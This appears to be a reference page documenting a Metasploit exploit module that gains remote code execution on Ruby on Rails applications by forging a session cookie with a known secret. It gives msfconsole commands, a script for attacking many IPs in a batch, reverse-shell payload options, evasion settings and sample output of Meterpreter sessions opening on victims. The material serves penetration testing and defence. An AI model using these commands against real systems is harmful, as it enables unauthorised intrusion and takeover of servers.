Ruby on Rails Known Secret Session Cookie Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/rails_secret_deserialization metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Ruby on Rails Known Secret Session Cookie Remote Code Execution
Module: exploit/multi/http/rails_secret_deserialization
Source code: modules/exploits/multi/http/rails_secret_deserialization.rb
Disclosure date: 2013-04-11
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): ruby
Supported platform(s): Ruby
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-0156
This module implements Remote Command Execution on Ruby on Rails applications. Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base" (Rails 4). The values for those can be usually found in the file "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by deserialization of a crafted Ruby Object.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using rails_secret_deserialization against a single host
Normally, you can use exploit/multi/http/rails_secret_deserialization this way:
msf > use exploit/multi/http/rails_secret_deserialization
msf exploit(rails_secret_deserialization) > show targets
... a list of targets ...
msf exploit(rails_secret_deserialization) > set TARGET target-id
msf exploit(rails_secret_deserialization) > show options
... show and set options ...
msf exploit(rails_secret_deserialization) > exploit
Using rails_secret_deserialization against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your rails_secret_deserialization will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/rails_secret_deserialization")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SECRET: The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)
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Msfconsole Usage
Here is how the multi/http/rails_secret_deserialization exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/rails_secret_deserialization
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/http/rails_secret_deserialization) > show info
Name: Ruby on Rails Known Secret Session Cookie Remote Code Execution
Module: exploit/multi/http/rails_secret_deserialization
Platform: Ruby
Arch: ruby
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-04-11
Provided by:
joernchen of Phenoelit <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE_NAME no The name of the session cookie
DIGEST_NAME SHA1 yes The digest type used to HMAC the session cookie
HTTP_METHOD GET yes The HTTP request method (GET, POST, PUT typically work)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RAILSVERSION 3 yes The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SALTENC encrypted cookie yes The encrypted cookie salt
SALTSIG signed encrypted cookie yes The signed encrypted cookie salt
SECRET yes The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to a vulnerable Ruby on Rails application
VALIDATE_COOKIE true no Only send the payload if the session cookie is validated
VHOST no HTTP server virtual host
Payload information:
Description:
This module implements Remote Command Execution on Ruby on Rails
applications. Prerequisite is knowledge of the "secret_token" (Rails
2/3) or "secret_key_base" (Rails 4). The values for those can be
usually found in the file
"RAILS_ROOT/config/initializers/secret_token.rb". The module
achieves RCE by deserialization of a crafted Ruby Object.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-0156
http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/
Module Options
This is a complete list of options available in the multi/http/rails_secret_deserialization exploit:
msf6 exploit(multi/http/rails_secret_deserialization) > show options
Module options (exploit/multi/http/rails_secret_deserialization):
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE_NAME no The name of the session cookie
DIGEST_NAME SHA1 yes The digest type used to HMAC the session cookie
HTTP_METHOD GET yes The HTTP request method (GET, POST, PUT typically work)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RAILSVERSION 3 yes The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SALTENC encrypted cookie yes The encrypted cookie salt
SALTSIG signed encrypted cookie yes The signed encrypted cookie salt
SECRET yes The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to a vulnerable Ruby on Rails application
VALIDATE_COOKIE true no Only send the payload if the session cookie is validated
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/rails_secret_deserialization exploit:
msf6 exploit(multi/http/rails_secret_deserialization) > show advanced
Module advanced options (exploit/multi/http/rails_secret_deserialization):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/rails_secret_deserialization module can exploit:
msf6 exploit(multi/http/rails_secret_deserialization) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/rails_secret_deserialization exploit:
msf6 exploit(multi/http/rails_secret_deserialization) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/ruby/pingback_bind_tcp normal No Ruby Pingback, Bind TCP
6 payload/ruby/pingback_reverse_tcp normal No Ruby Pingback, Reverse TCP
7 payload/ruby/shell_bind_tcp normal No Ruby Command Shell, Bind TCP
8 payload/ruby/shell_bind_tcp_ipv6 normal No Ruby Command Shell, Bind TCP IPv6
9 payload/ruby/shell_reverse_tcp normal No Ruby Command Shell, Reverse TCP
10 payload/ruby/shell_reverse_tcp_ssl normal No Ruby Command Shell, Reverse TCP SSL
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/rails_secret_deserialization exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/rails_secret_deserialization) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
SECRET does not match, wrong RAILSVERSION?
Here is a relevant code snippet related to the "SECRET does not match, wrong RAILSVERSION?" error message:
246: end
247:
248: if check_secret(match[2],match[3])
249: print_good("SECRET matches! Sending exploit payload")
250: else
251: fail_with(Failure::BadConfig, "SECRET does not match, wrong RAILSVERSION?")
252: end
253: else
254: print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
255: if cookie_name.nil? || cookie_name.empty?
256: # This prevents trying to send busted cookies with no name
Caution: Cookie not found, maybe you need to adjust TARGETURI
Here is a relevant code snippet related to the "Caution: Cookie not found, maybe you need to adjust TARGETURI" error message:
249: print_good("SECRET matches! Sending exploit payload")
250: else
251: fail_with(Failure::BadConfig, "SECRET does not match, wrong RAILSVERSION?")
252: end
253: else
254: print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
255: if cookie_name.nil? || cookie_name.empty?
256: # This prevents trying to send busted cookies with no name
257: fail_with(Failure::BadConfig, "No cookie found and no name given")
258: end
259: if datastore['VALIDATE_COOKIE']
No cookie found and no name given
Here is a relevant code snippet related to the "No cookie found and no name given" error message:
252: end
253: else
254: print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
255: if cookie_name.nil? || cookie_name.empty?
256: # This prevents trying to send busted cookies with no name
257: fail_with(Failure::BadConfig, "No cookie found and no name given")
258: end
259: if datastore['VALIDATE_COOKIE']
260: fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
261: else
262: print_status("Trying to leverage default controller without cookie confirmation.")
COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway
Here is a relevant code snippet related to the "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway" error message:
255: if cookie_name.nil? || cookie_name.empty?
256: # This prevents trying to send busted cookies with no name
257: fail_with(Failure::BadConfig, "No cookie found and no name given")
258: end
259: if datastore['VALIDATE_COOKIE']
260: fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
261: else
262: print_status("Trying to leverage default controller without cookie confirmation.")
263: end
264: end
265:
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10275 Merged Pull Request: Update missing CVE references for exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8118 Merged Pull Request: adding '-' to rails deserialization regex for cookie matching
- #8119 Merged Pull Request: Updated rails_secret_deserialization to add '.' regex for cookie matc…
- #7862 Merged Pull Request: Ruby 2.4 local fixes for metasploit-framework
- #7304 Merged Pull Request: Fix rails_secret_deserialization popchain (ERB @lineno)
- #7171 Merged Pull Request: Hint about incorrect RAILSVERSION
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #4578 Merged Pull Request: Fix Rails cookie regex by removing a space
- #3359 Merged Pull Request: Resolved some more Set-Cookie warnings
- #2835 Merged Pull Request: Update rails_secret_deserialization.rb
- #2525 Merged Pull Request: Change module boilerplate
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #2163 Merged Pull Request: Rails 3/4 RCE w/ token
References
See Also
Check also the following modules related to this module:
- exploit/multi/http/rails_json_yaml_code_exec
- auxiliary/scanner/http/rails_json_yaml_scanner
- exploit/multi/http/rails_xml_yaml_code_exec
- auxiliary/scanner/http/rails_xml_yaml_scanner
- exploit/multi/http/rails_actionpack_inline_exec
- exploit/multi/http/rails_double_tap
- exploit/multi/http/rails_dynamic_render_code_exec
- exploit/multi/http/rails_web_console_v2_code_exec
- auxiliary/admin/http/rails_devise_pass_reset
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/gather/rails_doubletap_file_read
- auxiliary/scanner/http/rails_mass_assignment
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/jenkins_cli_deserialization
- exploit/multi/http/openmrs_deserialization
- exploit/multi/http/opmanager_sumpdu_deserialization
- exploit/windows/http/desktopcentral_deserialization
- exploit/windows/http/hpe_sim_76_amf_deserialization
- exploit/windows/http/netmotion_mobility_mvcutil_deserialization
- exploit/windows/http/sharepoint_data_deserialization
- exploit/windows/http/telerik_rau_deserialization
- exploit/windows/misc/veeam_one_agent_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
- exploit/windows/http/dnn_cookie_deserialization_rce
- exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
- exploit/multi/http/metasploit_static_secret_key_base
- exploit/linux/http/github_enterprise_secret
- auxiliary/gather/windows_secrets_dump
- auxiliary/scanner/smb/impacket/secretsdump
- post/linux/gather/pptpd_chap_secrets
- post/linux/gather/vcenter_secrets_dump
- post/windows/gather/credentials/thycotic_secretserver_dump
- post/windows/gather/lsa_secrets
Related Nessus plugins:
- FreeBSD : rubygem-rails -- multiple vulnerabilities (ca5d3272-59e3-11e2-853b-00262d5ed8ee)
- Debian DSA-2604-1 : rails - insufficient input validation
- Fedora 18 : rubygem-actionpack-3.2.8-2.fc18 / rubygem-activerecord-3.2.8-3.fc18 / etc (2013-0568)
- Fedora 17 : rubygem-actionpack-3.0.11-8.fc17 / rubygem-activemodel-3.0.11-2.fc17 / etc (2013-0635)
- Fedora 16 : rubygem-actionpack-3.0.10-10.fc16 / rubygem-activemodel-3.0.10-2.fc16 / etc (2013-0686)
- RHEL 6 : Ruby on Rails in Subscription Asset Manager (RHSA-2013:0154)
- Mac OS X : OS X Server < 2.2.1 Multiple Vulnerabilities
- Mac OS X Multiple Vulnerabilities (Security Update 2013-001)
- openSUSE Security Update : ruby (openSUSE-SU-2013:0278-1)
- GLSA-201412-28 : Ruby on Rails: Multiple vulnerabilities
Authors
- joernchen of Phenoelit <joernchen[at]phenoelit.de>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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